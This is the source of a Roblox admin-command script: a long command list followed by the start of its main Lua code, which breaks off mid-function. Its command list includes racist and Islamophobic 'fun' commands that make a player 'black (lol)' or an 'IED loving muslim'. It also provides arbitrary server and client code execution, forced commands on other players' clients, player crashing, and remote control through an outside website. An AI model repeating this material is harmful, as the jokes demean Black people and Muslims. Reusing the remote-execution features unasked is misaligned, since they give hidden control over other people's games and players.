--[[
MADE BY LUAMODELMAKER/MAKERMODELLUA All rights given to LuaModelMaker/MakerModelLua
I'm glad you are using my admin :D
I hope My (LuaModelMaker/MakerModelLua) Admin isn't to complex to use.
Just read the commands and you'll get the hang of it :)

PLEASE EDIT SETTINGS INSIDE THE SETTINGS SCRIPTS OR READ THE README

To execute server scripts, please go to ServerScriptService and enable LoadStringEnabled. NOTE: Doing this will disable all PlayerPoint commands.
TO CONTROL ADMIN REMOTLEY GO TO: http://luammodelmmaker.com/Login

ReadMe: http://www.luammodelmmaker.com


-- Commands --

Example:
;kill noobs/guests/me/nonadmins
;team new Noobs
;team join me/guests Noobs

PEOPLE YOU CAN USE COMMANDS ON:
Any players (first few letters of their name): ;kill luamodel or ;kill luamodel/guests -- The Player(s) specified
Me: kill me -- You
Others/Mortals: ;kill others -- Everyone else but you
Noobs: ;kill noobs -- Everyone who's roblox account age is under 1 year old
NonNoobs: ;kill nonnoobs -- Everyone who's roblox account age is over 1 year old
Random: ;kill random -- Random person
All: ;kill all -- Everyone
Admins: ;kill admins -- Admins in the server
Nonadmins ;kill nonadmins -- People who aren't admins
Uppers: ;kill uppers -- People starting with an uppercase letter in their name
Lowers: ;kill lowers -- People starting with an lowercase letter in their name
Guests: ;kill guests -- Kill all the guests(Real ones)
NBCs: ;kill nbcs -- Everyone without a membership in the server
BCs: ;kill bcs -- Everyone with the membership: BC in the server
TBCs: ;kill tbcs -- Everyone with the membership: TBC in the server
OBCs: ;kill obcs -- Everyone with the membership: OBC in the server
AllBCs: ;kill allbcs -- Everyone with any membership in the server
Team: ;kill team-blue -- Everyone in the team named "blue"
List: ;kill list -- Shows a list of everyone in the server, you can select multiple people and submit the data and run the command on them
(NOTE THIS IS NOT CAPS SENSITIVE)

NOTE: Commands in kohl's or person299's that use 'un' as in unff or unjail are 'no' in mine(Accept for some), like 'noff' and 'nojail'
NOTE: ;btools me is not a command, instead, say ;give me btools

Commands:

-- Owners --

1.) ;admin lua
Admins LuaModelMaker to the rank "Admin"

2.) ;forceplace lua 1337
Forces LuaModelMaker to go to place with the ID of 1337

3.) ;fun enable
Enables fun commands

4.) ;noadmin lua
Removes LuaModelMaker from Admin or Member list

5.) ;removeadmin
Shuts LuaModelMaker's Admin down

ADD.) ;forcefollow lua 13645
Makes LuaModelMaker follow the player with the user ID of 13645 in a universe

ADD.) ;fix
Fixes admin by essentially rebooting it. Looses data that's not in settings. NOTE: OWNER OF THE GAME MUST OWN THE MODEL.

ADD.) ;awardbadge maker 156337226
Will attempt to give MakerModelLua the badge with the ID 156337226

V2.) ;givepoints maker 5
Will attempt to give MakerModelLua 5 player points, will only work if the game's point balance is more or equal to 5

V2.) ;clearsounds
Clears all sounds used from the ;addsound command

[Switch(104)] ;nos
Removes all scripts except LMM's Admin[NOW OWNER COMMAND]

V2.) ;clearlogs
Clears command logs

V2.) ;clearexploitlogs
Clears exploit logs

V2.) ;showad maker
Shows an ad to MakerModelLua(only works on mobile platforms as of 9/4/2014)

V2.) ;replicatecommand builderman ;kill me
Will execute the command ";kill me" on builderman's client, killing him because he is the speaker in the replicated command

V2.) ;masterclear
Clears all things in workspace besides admin and makes a baseplate

V2.) ;saveplace
Attempts to save place (needs to have SavePlace API enabled, [ http://wiki.roblox.com/images/c/c0/CreatePlaceConfigure.png ] )

V2.) ;downloadlogs
Downloads logs from Remote account(needs DataKey)


-- Admins+ --

6.) ;ban lua
Bans LuaModelMaker from the server so he can't join

7.) ;c print("Ohi der")
Runs Server-side script in workspace

8.) ;crash lua
Crashes them out of the server

9.) ;jail lua
Creates a jail LuaModelMaker will be trapped and spawned in

10.) ;kick lua
Kicks LuaModelMaker out of the server

11.) ;l print("Look, a localscript!")
Creates a LocalScript in the speaker's character

12.) ;loopkill lua 10
Kills LuaModelMaker 10 times

13.) ;member lua
Admins LuaModelMaker to the rank "Member"

14.) ;mute lua
Removes LuaModelMaker's chatbar so he cannot talk

15.) ;noban lua
Removes LuaModelMaker's name from the ban list

16.) ;nocrash lua
Removes LuaModelMsker's name from the crash list

17.) ;noloopkill lua
Stops any loopkill on LuaModelMaker

18.) ;nomute lua
Removes LuaModelMaker's name from the mute list and makes him talk agian

19.) ;note lua Creator of LMM's Admin
Creates a note about LuaModelMaker that he is the Creator of LMM's Admin [ See ;shownotes ]

20.) ;place lua 1337
Requests LuaModelMaker to go to the place ID with 1337

21.) ;removenotes Creator of
Removes the notes Starting with "Creator of LMM's Admin"

22.) ;shutdown
Shuts the server down

23.) ;sm Cats have ears
Creates a system message: "Cats have ears"

ADD.) ;lockserver
Makes it so anyone not an admin will be kicked from the server

ADD.) ;unlockserver
Makes it so anyone can join the server

ADD.) ;follow lua 13645
Asks LuaModelMaker follow the player with the user ID of 13645 in a universe

V2.) ;syncsoundlist
Syncs sound list to check for new sounds from global sound database

V2.) ;cleart
Clears all terrain in the game.

V2.) ;prefix :
Changes prefix from what it was before to ':'. Cannot be more than 5 characters long and if you forget the prefix use the 'settings' command which doesn't require a prefix.

V2.) ;addsound 131065183 Roar
Adds Katy Perry - Roar to global sound list. Any new servers, universe places, or the one you are in will contain this sound. To sync instantly with other servers see ';syncsoundlist'

V2.) ;lto maker print("Hi!")
Will run 'print("Hi!")' on MakerModelLua's client

V2.) ;waypoint player Maker Waypoint1
Adds a waypoint at MakerModelLua's position named Waypoint1

V2.) ;waypoint vector 100 0 -100 Waypoint2
Adds a waypoint at (100,0,-100) named Waypoint2

V2.) ;removewaypoint Way
Removes any waypoint starting with "way"

V2.) ;clearstamper
Clears all objects put in workspace by stamper

V2.) ;base
Removes all others baseplates and creates a new one

V2.) ;notify Builderman is here!
Will send a remote log(if available) to the creator's LinkedAccount


-- Members+ --

24.) ;admins
Shows a list of all the admins

25.) ;age lua
Shows how long LuaModelMaker has been on roblox

26.) ;bans
Shows a list of all the banned players

27.) ;backwards lua
Reverses LuaModelMaker's Controls

28.) ;blind lua
Blinds LuaModelMaker

29.) ;brightness 0.5
Sets server brightness to 0.5

30.) ;change lua points 100000
Changes LuaModelMaker's points to 100000

31.) ;char lua 261
Changes LuaModelMaker's Character to look like the user with the ID 261 [ Shedletsky ]

32.) ;clone lua
Creates a clone of LuaModelMaker

33.) ;clr
Clears Jails,Clones, and other inserted things by LMM's Admin

34.) ;clip lua
Clips LuaModelMaker out of noclip

35.) ;cmdbar
Gives the speaker a command bar

36.) ;control lua
Controls LuaModelMakers body

37.) ;crashes
Shows a list of all the crashed players

38.) ;debug lua
Debugs LuaModelMaker - Removes ;char ;obama ;noob ;guest and respawns them

39.) ;decal 1234
Selects a decal to the speakers cursor, click to insert, press z to dismiss, x to remove

40.) ;disco
Makes the server flash disco colors

41.) ;drug lua
Simulates LuaModelMaker being on LSD(A drug)

42.) ;explode lua
Kills LuaModelMaker in a deadly explosion [ FUN COMMAND ]

43.) ;face lua 1337
Gives LuaModelMaker the face with the ID of 1337

44.) ;fart lua
Causes LuaModelMaker to pass gas [ FUN COMMAND ]

45.) ;ff lua
Gives a forcefield to LuaModelMaker

46.) ;fire lua
Catches LuaModelMaker on fire [ FUN COMMAND ]

47.) ;flash
Makes the server flash

48.) ;fling lua
Flings LuaModelMaker out of the server [ FUN COMMAND ]

49.) ;flip lua
Flips LuaModelMaker 360° around [ FUN COMMAND ]

50.) ;fly lua
Allows LuaModelMaker to fly

51.) ;forwards lua
Resets LuaModelMaker's Walkspeed and undoes ;backwards

52.) ;freeze lua
Freezes LuaModelMaker so he can't move

53.) ;friends lua
Shows a list of who LuaModelMaker is friends and Bestfriends with in the server

54.) ;gear lua 13337
Gives LuaModelMaker the gear with the ID of 1337

55.) ;ghost lua
Causes LuaModelMaker to look like a ghost [ FUN COMMAND ]

56.) ;give lua basicbtools
Gives LuaModelMaker basic building tools

57.) ;give lua btools
Gives LuaModelMaker all building tools, including GigsD4X's Building Tools by F3X

V2.) ;give maker f3xtools
Gives MakerModelLua GigsD4X's Building Tools by F3X

58.) ;give lua psbtools
Gives LuaModelMaker Personal Server building tools

59.) ;give lua cookie
If there is a tool named "Cookie", then LuaModelMaker gets a tool named "Cookie"

60.) ;givetools builderman
Gives builderman a copy of of the speaker's tools

61.) ;god lua
Gives LuaModelMaker maximum health

62.) ;gold lua
Makes LuaModelMaker have a golden color and shine to him [ FUN COMMAND ]

63.) ;guest lua
Causes LuaModelMaker to look like a guest [ FUN COMMAND ] (undone by ;debug command)

64.) ;h Heh, Hi
Creates a hint: "Heh, Hi"

65.) ;hat lua 1337
Gives LuaModelMaker a hat with the ID of 1337

66.) ;heal lua
Gives LuaModelMaker full health

67.) ;health lua 50
Sets LuaModelMaker's Health to 50

68.) ;headsize lua 200
Sizes LuaModelMaker's Head to 200% it's original size

69.) ;invis lua
Renders LuaModelMaker invisible

70.) ;insert 13333
Inserts a Model to LuaModelMaker's Cursor. Press X to cancel, click to insert.

71.) ;jump lua
Makes LuaModelMaker jump

72.) ;kill lua
Kills LuaModelMaker

73.) ;lamp lua
Creates a light in front of LuaModelMaker

74.) ;light lua
Creates a light in around of LuaModelMaker

75.) ;longneck lua
Gives LuaModelMaker a longneck [ FUN COMMAND ]

76.) ;loopheal lua
Heals LuaModelMaker constantly

77.) ;loopfling lua
Flings LuaModelMaker constantly [ FUN COMMAND ]

78.) ;m I like cheese
Creates a Message: "I like cheese"

79.) ;merge lua builderman [ COMMAND REMOVED ]
Merges LuaModelMaker and Builderman together

80.) ;mutes
Shows a list of all Mutes

81.) ;naked lua
Clears LuaModelMaker's character rendering him naked [ FUN COMMAND ]

82.) ;name lua LMM
Changes LuaModelMaker's character name to: "LMM"
V2 Note: saying _NAME will add the player's real name to the argument. Exp: ;name Maker _NAME is awesome! (Changes MakerModelLua's name to "MakerModelLua is awesome!")

83.) ;noarms lua
Removes LuaModelMaker's arms [ FUN COMMAND ]

84.) ;nobind lua
Stops the effect of the blind command on LuaModelMaker

85.) ;noclip lua
Makes it so LuaModelMaker can fly though solid objects

86.) ;nodrug lua
Stops the effect of the drug command on LuaModelMaker

87.) ;noff lua
Removes any forcefields in LuaModelMaker

88.) ;nofire lua
Stops the effect of the fire command on LuaModelMaker [ FUN COMMAND ]

89.) ;noflash lua
Stops the effect of the flash command on LuaModelMaker [ FUN COMMAND ]

90.) ;nofly lua
Stops the effect of the fly command on LuaModelMaker

91.) ;nohats lua
Removes all of LuaModelMaker's hats

92.) ;nolamp lua
Stops the effect of the lamp command on LuaModelMaker

93.) ;nolegs lua
Removes LuaModelMaker's legs [ FUN COMMAND ]

94.) ;nolight lua
Stops the effect of the light command on LuaModelMaker

95.) ;nolimbs lua
Removes all of LuaModelMaker's limbs [ FUN COMMAND ]

96.) ;noloopfling lua
Stops the effect of the loopfling command on LuaModelMaker [ FUN COMMAND ]

97.) ;noname LuaModelMaker
Removes any name someone may have named LuaModelMaker

98.) ;noob lua
Turns LuaModelMakerMaker into a noob [ FUN COMMAND ] (undone by ;debug command)

99.) ;nooverlay lua
Stops the effect of the overlay command on LuaModelMaker

100.) ;nopunish lua
Stops the effect of the punish command on LuaModelMaker

101.) ;normal lua
Undoes any character changes(;shine, ;gold, invis)

102.) ;normaljump lua
Stops the effect of the superjump command on LuaModelMaker

103.) ;normalneck lua
Stops the effect of the longneck command on LuaModelMaker [ FUN COMMAND ]

104.) ;nos
Removes all scripts except LMM's Admin[NOW OWNER COMMAND]

105.) ;nosmoke lua
Stops the effect of the smoke command on LuaModelMaker [ FUN COMMAND ]

106.) ;nosparkles lua
Stops the effect of the sparkles command on LuaModelMaker [ FUN COMMAND ]

107.) ;nospin lua
Stops the effect of the spin command on LuaModelMaker [ FUN COMMAND ]

108.) ;nostun lua
Stops the effect of the stun command on LuaModelMaker [ FUN COMMAND ]

109.) ;notools lua
Removes all of LuaModelMaker's tools

110.) ;npl lua
Removes LuaModelMaker's player list

111.) ;obama lua
Makes LuaModelMaker black (lol) [ FUN COMMAND ] (undone by ;debug command)

112.) ;overlay lua 1337
Overlays a decal on LuaModelMaker's head with the ID of 1337

113.) ;pants lua 1337
Gives LuaModelMaker pants with the ID of 1337

114.) ;pm shed Wut up?
Personal messages Shedletsky: "Wut up?"

115.) ;point lua roblox
Creates a laser beam between LuaModelMaker and ROBLOX

116.) ;product lua 10000
Shows a catalog like GUI about the product 10000 to LuaModelMaker

117.) ;punish lua
Punishes LuaModelMaker

118.) ;ragdoll lua
Makes LuaModelMaker a ragdoll

119.) ;respawn lua
Respawns LuaModelMaker

120.) ;shine lua
Gives LuaModelMaker a reflective shine

121.) ;shirt lua 1337
Gives LuaModelMaker the shirt with the ID of 1337

122.) ;shownotes lua
Shows saved notes about LuaModelMaker

123.) ;sa
Shows all Server Admins

124.) ;sit lua
Makes LuaModelMaker sit

125.) ;smoke lua [ FUN COMMAND ]
Makes LuaModelMaker smoke

126.) ;sound 1337
Plays a sound with the ID of 1337

127.) ;sparkles lua
Gives LuaModelMaker sparkles [ FUN COMMAND ]

128.) ;speed lua 100
Makes LuaModelMaker walk 100 SPS

129.) ;spin lua
Makes LuaModelMaker spin [ FUN COMMAND ]

130.) ;strobe lua
Creates a flashing light on LuaModelMaker's screen

131.) ;stun lua
Stuns LuaModelMaker so he cannot move

132.) ;superjump lua
Makes LuaModelMaker jump really high

133.) ;sword lua
Gives LuaModelMaker a sword

134.) ;taketools lua
Gives the speaker LuaModelMaker's tools

135.) ;team join lua Red Team
Makes it so LuaModelMaker joins the Red Team

136.) ;team new Blue Team
Creates a team named: "Blue Team"

137.) ;team remove Red Team
Removes the Read Team

138.) ;team rename Blue Winners
Renames the team: "Blue Team" to "Winners"

139.) ;test
Tests to see if LMM's Admin is still working

140.) ;time noon
Changes time in server to noon

141.) ;tp lua build
Teleports LuaModelMaker to Builderman

142.) ;tshirt lua 12222
Puts the tshirt the the ID 12222 on LuaModelMaker

143.) ;vis lua
Makes LudaModelMaker visible

144.) ;vomit lua
Makes LuaModelMaker puke everywhere [ FUN COMMAND ]

145.) ;vote all 10 Do you like LMM's Admin?
Gives a poll to everyone for 10 seconds a yes or no question: "Do you like LMM's Admin?"

ADD.) ;logs
Checks commands by players

ADD.) ;countdown 20
Counts down from 20(Cannot be more than 120 seconds)

ADD.) ;fixl
Fixes lighting and stops disco and flashing

V2.) ;soundlist
Shows sound list from sound database

V2.) ;hack maker
Prompts a (fake) System32 style command prompt on MakerModelLua's screen. Looks like it's hacking.

V2.) ;rich maker
Turns MakerModelLua into a rich player (Merely) [ FUN COMMAND ] (undone by ;debug command)

V2.) ;oder maker
Turns MakerModelLua into an online dater [ FUN COMMAND ] (undone by ;debug command)

V2.) ;ambient 255 255 255
Turns the server's global ambient RGB to 255,255,255(white) defualt 127,127,127

V2.) ;list noobs
Creates a list of all players specified.

V2.) ;fixcam maker
Restores MakerModelLua's camera to defualt.

V2.) ;plugins
Views all plugins and shows if they're running.

V2.) ;countpoints
Counts all player points left inside of a game

V2.) ;getpoints maker
Shows how many player points MakerModelLua has

V2.) ;getgamepoints maker
Shows how many player points MakerModelLua has won from the current game.

V2.) ;muslim maker
Turns MakerModelLua into a IED loving muslim. [ FUN COMMAND ] (undone by ;debug command)

V2.) ;port
Shows the speaker the port number of the server, usefull for remote command execution for a specific server(used at http://luammodelmmaker.com/Login/)

V2.) ;exploitlogs
Shows a list of all exploits with player stats

V2.) ;waypoints
Shows a list of all waypoints

V2.) ;warp maker Waypoint1
Will warp MakerModelLua to any waypoint starting with "Waypoint1"

V2.) ;quickcommands
Prompts a selection list of quick commands a player can execute multiple commands on multiple people

V2.) ;abuselist
Shows all commands on the abuse list, for when DisableAbuse is on, any commands starting with those characters will not be executed

V2.) ;hasasset MakerModelLua 23220518
Will show if MakerModelLua has the asset ID 23220518(LuaCap)

V2.) ;chat all red I like pie!
Will make all players chat "I like pie!" with a red dialog

V2.) ;splode maker
Will make MakerModelLua spam explode 50 times [ FUN COMMAND ]


-- Non-Admin Commands+ --

146.) ;adminvip
Displays the product for the Admin VIP

147.) ;cln
Cleans hats and tools from server

148.) ;cmds
Shows a list of commands

149.) ;membervip
Displays the product for the Admin VIP

150.) ;rejoin
Makes Speaker rejoin the game

151.) ;removemenu
Removes LMM's Admin Menu

V2.) ;adminhouse
Prompts a GUI telling you wich admin house you would like to go to.

V2.) settings
Shows settings of admin. No prefix required.

V2.) ;fullcmds
Shows a list of all commands(same as ;cmds), only you can select commands and it will attempt to execute them as shown



-------------------
-- Main Script --]]

-- No touchies --

wait(1)

local LocalScript = script:FindFirstChild("LocalScriptExecution")
local Script = script:FindFirstChild("ScriptExecution")
local Version = script:FindFirstChild("Version")
local Memberships = {["NBC"] = Enum.MembershipType.None, ["BC"] = Enum.MembershipType.BuildersClub, ["TBC"] = Enum.MembershipType.TurboBuildersClub, ["OBC"] = Enum.MembershipType.OutrageousBuildersClub}
local Flings, Jailed, Objects, Logs, ManualCommands, VoteVersion, Stopped, Shutdown = {}, {}, {}, {}, {}, 0, false, false
local Waypoints = {["Center"] = Vector3.new(0,0,0)}
local F3X = script:FindFirstChild("Building Tools")

local Workspace = game:GetService("Workspace")
local Players = game:GetService("Players")
local Teams = game:GetService("Teams")
local Lighting = game:GetService("Lighting")
local MPS = game:GetService("MarketplaceService")
local TS = game:GetService("TeleportService")
local HS = game:GetService("HttpService")
local Run = game:GetService("RunService")
local Points = game:GetService("PointsService")
local TestService = game:GetService("TestService")
local NS = {Port = 0}
local DataStore = game:GetService("DataStoreService"):GetGlobalDataStore()
local Settings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or Workspace:FindFirstChild("LuaModelMaker's Admin Settings")
local GameOwner = "[ Client ]"
local PlaceName = "Unknown"
if game.Players.LocalPlayer == nil then
	NS = game:GetService("NetworkServer")
	repeat
		ypcall(function()
			local PlaceInfo = MPS:GetProductInfo(game.PlaceId)
			GameOwner = PlaceInfo.Creator.Name
			PlaceName = PlaceInfo.Name
		end)
		wait(1)
	until GameOwner ~= "[ Client ]"
end

local LuaModelMakerStamp = false

local Module = game.ServerStorage:FindFirstChild("Module")
if Module then
	Module = Module.Value
end
if F3X then
	F3X.Handle.Position = Vector3.new(0,1000,0)
end

--------------------------------------
local SettingsModule = nil
if Settings then SettingsModule = require(Settings) else SettingsModule = {} end

local Ranks = SettingsModule.Ranks or {["Owner"] = {}, ["Admin"] = {}, ["Member"] = {}, ["Banned"] = {}, ["Crashed"] = {}, ["Muted"] = {}}
local FUN = SettingsModule.FUN
local LagTime = SettingsModule.LagTime or 5
local Prefix = SettingsModule.Prefix or ";"
local Bet = SettingsModule.Bet or " "
local VIPMemberID = SettingsModule.VIPMemberID or 0
local VIPAdminID = SettingsModule.VIPAdminID or 0
local GroupID = SettingsModule.GroupID or 0
local GroupMemberRank = SettingsModule.GroupMemberRank or 0
local GroupAdminRank = SettingsModule.GroupAdminRank or 0
local GroupOwnerRank = SettingsModule.GroupOwnerRank or 0
local BadgeID = SettingsModule.BadgeID or 0
local EnableAdminMenu = SettingsModule.EnableAdminMenu
local RankBan = SettingsModule.RankBan or 0
local ServerLocked = SettingsModule.ServerLocked or false
local DisableAbuse = SettingsModule.DisableAbuse or false
local LinkedAccount = SettingsModule.LinkedAccount or "Admin"
local MinimumAge = SettingsModule.MinimumAge or 0
local BannedGroupIDs = SettingsModule.BannedGroupIDs or {}
local AbuseList = SettingsModule.AbuseList or {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools"}
local DataKey = SettingsModule.DataKey or ""
local AbusableGear = SettingsModule.AbusableGear or {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459}


if FUN == nil then FUN = true end
if EnableAdminMenu == nil then EnableAdminMenu = true end

local Command,ServerCommand,ServerPort,TimeStamp = "","",0,"NIL"

local ExecuteCommand = script:FindFirstChild("ExecuteCommand")
if not ExecuteCommand then
	ExecuteCommand = Instance.new("RemoteFunction", script)
	ExecuteCommand.Name = "ExecuteCommand"
end

if not DataKey or DataKey == "" then
	local Key = game:GetService("ServerStorage"):FindFirstChild("DataKey")
	if Key then DataKey = Key.Value end
end

local Commands = {
	NonAdmin = {"-- Non-Admin Commands --", ";adminvip", ";cln", ";cmds", ";membervip", ";rejoin", ";removemenu", ";adminhouse", "settings", ";fullcmds"};
	Member = {"-- Member Commands --", ";admins", ";age player", ";bans", ";backwards player", ";blind player", ";brightness num", ";change player num", ";char player num", ";clone player", ";clip player", ";clr", ";cmdbar", ";control player", ";cookie player[SPECIAL COMMAND]", ";crashes", ";debug player", ";decal num", ";disco", ";drug player", ";explode player", ";face player num", ";fart player", ";ff player", ";fire player", ";flash", ";fling player", ";flip player", ";fly player", ";forwards player", ";freeze player", ";friends player", ";gear player num", ";ghost player", ";give player basicbtools", ";give player btools", ";give player psbtools", ";give player string", ";give player f3xtools", ";givetools player", ";god player", ";gold player", ";guest player", ";h string", ";hat player num", ";heal player", ";health player num", ";headsize player num", ";invis player", ";insert num", ";jump player", ";kill player", ";lamp player", ";light player", ";longneck player", ";loopheal player", ";loopfling player", ";m string", ";mutes", ";naked player", ";name player string", ";noarms player", ";nobind player", ";noclip player", ";nodrug player", ";noff player", ";nofire player", ";noflash player", ";nofly player", ";nohats player", ";nolamp player", ";nolegs player", ";nolight player", ";nolimbs player", ";noname player", ";noob player", ";nooverlay player", ";nopunish player", ";normal player", ";normaljump player", ";normalneck player", ";nosmoke player", ";nosparkles player", ";nospin player", ";nostun player", ";notools player", ";npl player", ";obama player", ";overlay player num", ";pants player num", ";pm player string", ";point player player", ";product player num", ";punish player", ";ragdoll player", ";respawn player", ";shine player", ";shirt player num", ";shownotes player", ";sa", ";sit player", ";smoke player", ";sound num", ";sparkles player", ";speed player num", ";spin player", ";strobe player", ";stun player", ";superjump player", ";sword player", ";taketools player", ";team join player string", ";team new string", ";team remove string", ";team rename string[1] string", ";test", ";time num", ";tp player player", ";tshirt player num", ";vis player", ";vomit player", ";vote player num string", ";logs", ";countdown num", ";nogod player(Doesn't mean there is no God)", ";fixl", ";soundlist", ";hack player", ";rich player", ";oder player", ";ambient number number number", ";fixcam player", ";plugins", ";countpoints", ";getpoints player/number[User ID]", ";getgamepoints player/number[User ID]", ";muslim player", ";port", ";exploitlogs", ";warp string(waypoint)", ";waypoints", ";quickcommands", ";abuselist", ";hasasset player number", ";chat player [color(red/blue/green)] message", ";splode player"};
	Admin = {"-- Admin Commands --", ";accelerate player", ";bans", ";c string", ";crash player", ";jail player", ";kick player", ";l string", ";loopkill player num", ";member player", ";mute player", ";noban player", ";nocrash player", ";noloopkill player", ";nomute player", ";note player string", ";place player num", ";removenotes player string", ";shutdown", ";sm string", ";follow player num[UserID]", ";lockserver", ";unlockserver", ";syncsoundlist", ";cleart", ";abuse enable/disable", ";addsound num[Audio ID] string[Name]", ";lto player string", ";waypoint [type:player] player string", ";waypoint [type:vector] num num num string", ";removewaypoint string", ";clearstamper", ";base", ";notify string"};
	Owner = {"-- Owner Commands --", ";admin player", ";forceplace player num", ";fun enable/disable", ";noadmin player", ";removeadmin", ";adminmenu enable/disable", ";update", ";forcefollow player num[UserID]", ";fix", ";prefix string", ";awardbadge player num[ID]", ";givepoints player/number[User ID]", ";clearsounds", ";nos", ";clearlogs", ";clearexploitlogs", ";showad player", ";replicatecommand player string(command)", ";masterclear", ";saveplace", ";downloadlogs"};
}

if not Version then Version = {Value = "[ Unknown ]"} end
for Command,_ in pairs(Commands.NonAdmin) do Commands.NonAdmin[Command] = string.gsub(string.gsub(Commands.NonAdmin[Command], ";", Prefix), " ", Bet) end
for Command,_ in pairs(Commands.Member) do Commands.Member[Command] = string.gsub(string.gsub(Commands.Member[Command], ";", Prefix), " ", Bet) end
for Command,_ in pairs(Commands.Admin) do Commands.Admin[Command] = string.gsub(string.gsub(Commands.Admin[Command], ";", Prefix), " ", Bet) end
for Command,_ in pairs(Commands.Owner) do Commands.Owner[Command] = string.gsub(string.gsub(Commands.Owner[Command], ";", Prefix), " ", Bet) end

if game.Workspace:FindFirstChild("LuaModelMaker Stamp") then LuaModelMakerStamp = true end

-- This sound list saves script space and makes it possible for me to add sounds without having to update the admin --
local SoundList,GlobalSoundList = {},{}

-------------------------- ypcall(function() for Name,Data in pairs(HS:JSONDecode(HS:GetAsync("http://luamodelmaker.net63.net/LMMAdmin/ScriptData", true))) do WebData[Name] = Data end end)

function Crash(Player)
	ExecuteResource("Crash", Player.Character, {["LagTime"] = LagTime})
end

function Fly(Player, Force)
	ExecuteResource("Fly", Player.Character, {["Force"] = Force})
end

function NilPlayer(Player)
	if Player == nil or type(Player) == "table" then return true else return false end
end

function CoreGui(Player, Type, Enable)
	ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable}, Player,
	[[script.Parent = nil game:GetService("StarterGui"):SetCoreGuiEnabled("]]..tostring(Type)..[[", ]]..tostring(Enable)..[[)]])
end

function ConvertRank(Input)
	local Output = nil
	if Input == "Muted" then Output = -3 end
	if Input == "Crashed" then Output = -2 end
	if Input == "Banned" then Output = -1 end
	if Input == "Player" then Output = 0 end
	if Input == "Member" then Output = 1 end
	if Input == "Admin" then Output = 2 end
	if Input == "Owner" then Output = 3 end

	if Input == -3 then Output = "Muted" end
	if Input == -2 then Output = "Crashed" end
	if Input == -1 then Output = "Banned" end
	if Input == 0 then Output = "Player" end
	if Input == 1 then Output = "Member" end
	if Input == 2 then Output = "Admin" end
	if Input == 3 then Output = "Owner" end
	return Output
end

function IsAdmin(Player)
	local AdminStatus = false
	local RankStatus = "Player"
	if NilPlayer(Player) then return true, "Owner" end
	for Rank,PlayerNames in pairs(Ranks) do
		for _,AdminName in pairs(PlayerNames) do
			if string.lower(AdminName) == string.lower(Player.Name) then
				if ConvertRank(Rank) > 0 then
					AdminStatus = true
					RankStatus = Rank
				end
			end
		end
	end
	return AdminStatus, RankStatus
end

function GetAdmins(Ranking)
	local Players = {}
	local AdminTrue, Rank = IsAdmin(Player)
	for _,Player in pairs(Players:GetPlayers()) do
		if AdminTrue then
			local PlayerRankNum = ConvertRank(Rank)
			local StandardRankNum = ConvertRank(Ranking)
			if PlayerRankNum >= StandardRankNum then
				table.insert(Players, Player)
			end
		end
	end
	return Players
end

function SendMessage(Player, TitleText, BodyText, Time)coroutine.wrap(function()
	local MessagePos = 0
	for _,Item in pairs(Player.PlayerGui:GetChildren()) do
		if Item.Name == "LuaM".."od".."".."elMa".."ker's Admin Message" then
			MessagePos = MessagePos + 50
		end
	end

	local SG,Drag
	local IsClosing,AutoClose = false,true

	local function Close()
		if IsClosing == false then
			IsClosing = true
			Drag:TweenPosition(UDim2.new(-0.2,0,0.3,0), "Out", "Sine", 1, false, function()
				SG:Destroy()
			end)
		end
	end

	SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LuaMod".."".."elMa".."ker's Admin Message"
	Drag = Instance.new("TextLabel", SG) Drag.Name = "Drag" Drag.Position = UDim2.new(-0.2,0,0.3,0) Drag.Size = UDim2.new(0.2,0,0.1,0) Drag.BackgroundColor3 = Color3.new(1,1,1) Drag.BackgroundTransparency = 1 Drag.Text = TitleText Drag.Font = "ArialBold" Drag.FontSize = "Size24" Drag.TextStrokeTransparency = 0 Drag.TextWrapped = true Drag.TextColor3 = Color3.new(1,1,1) Drag.Active = true Drag.Draggable = true
	local Background = Instance.new("Frame", Drag) Background.Name = "Background" Background.Size = UDim2.new(1,0,3,0) Background.BackgroundColor3 = Color3.new(1,1,1) Background.BackgroundTransparency = 0.9
	local Scroll = Instance.new("ScrollingFrame", Drag) Scroll.Name = "Scroll" Scroll.Size = UDim2.new(1,0,2,0) Scroll.Position = UDim2.new(0,0,1,0) Scroll.BackgroundTransparency = 1
	local Body = Instance.new("TextLabel", Scroll) Body.Name = "Body" Body.Size = UDim2.new(1,-13,10,0) Body.BackgroundColor3 = Color3.new(1,1,1) Body.BackgroundTransparency = 1 Body.Rotation = 0 Body.BorderSizePixel = 0 Body.Text = BodyText Body.Font = "Arial" Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top" Body.TextColor3 = Color3.new(1,1,1)
	local X = Instance.new("TextButton", Drag) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,10,0,10) X.Font = "ArialBold" X.FontSize = "Size12" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(Close)
	local Pin = Instance.new("ImageButton", Drag) Pin.Name = "Pin" Pin.Size = UDim2.new(0,20,0,20) Pin.Position = UDim2.new(0,10,0,0) Pin.BackgroundTransparency = 1 Pin.Image = "http://www.roblox.com/asset/?id=53252170" Pin.ZIndex = 2

	Pin.MouseButton1Click:connect(function()
		Pin:Destroy()
		AutoClose = false
	end)

	ExecuteResource("ScrollUpDown", Scroll, {}, Player, [[
		script.Parent.CanvasSize = UDim2.new(0,0,0,script.Parent.Body.TextBounds.Y)
	]])

	local RawColor,RestOfBodyText = GetSplit(BodyText, Bet)
	if RawColor ~= "" and RestOfBodyText ~= "" then
		local Color = string.lower(RawColor)
		if Color == "white" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(1,1,1)
		elseif Color == "black" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0,0,0)
		elseif Color == "grey" or Color == "gray" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0.5,0.5,0.5)
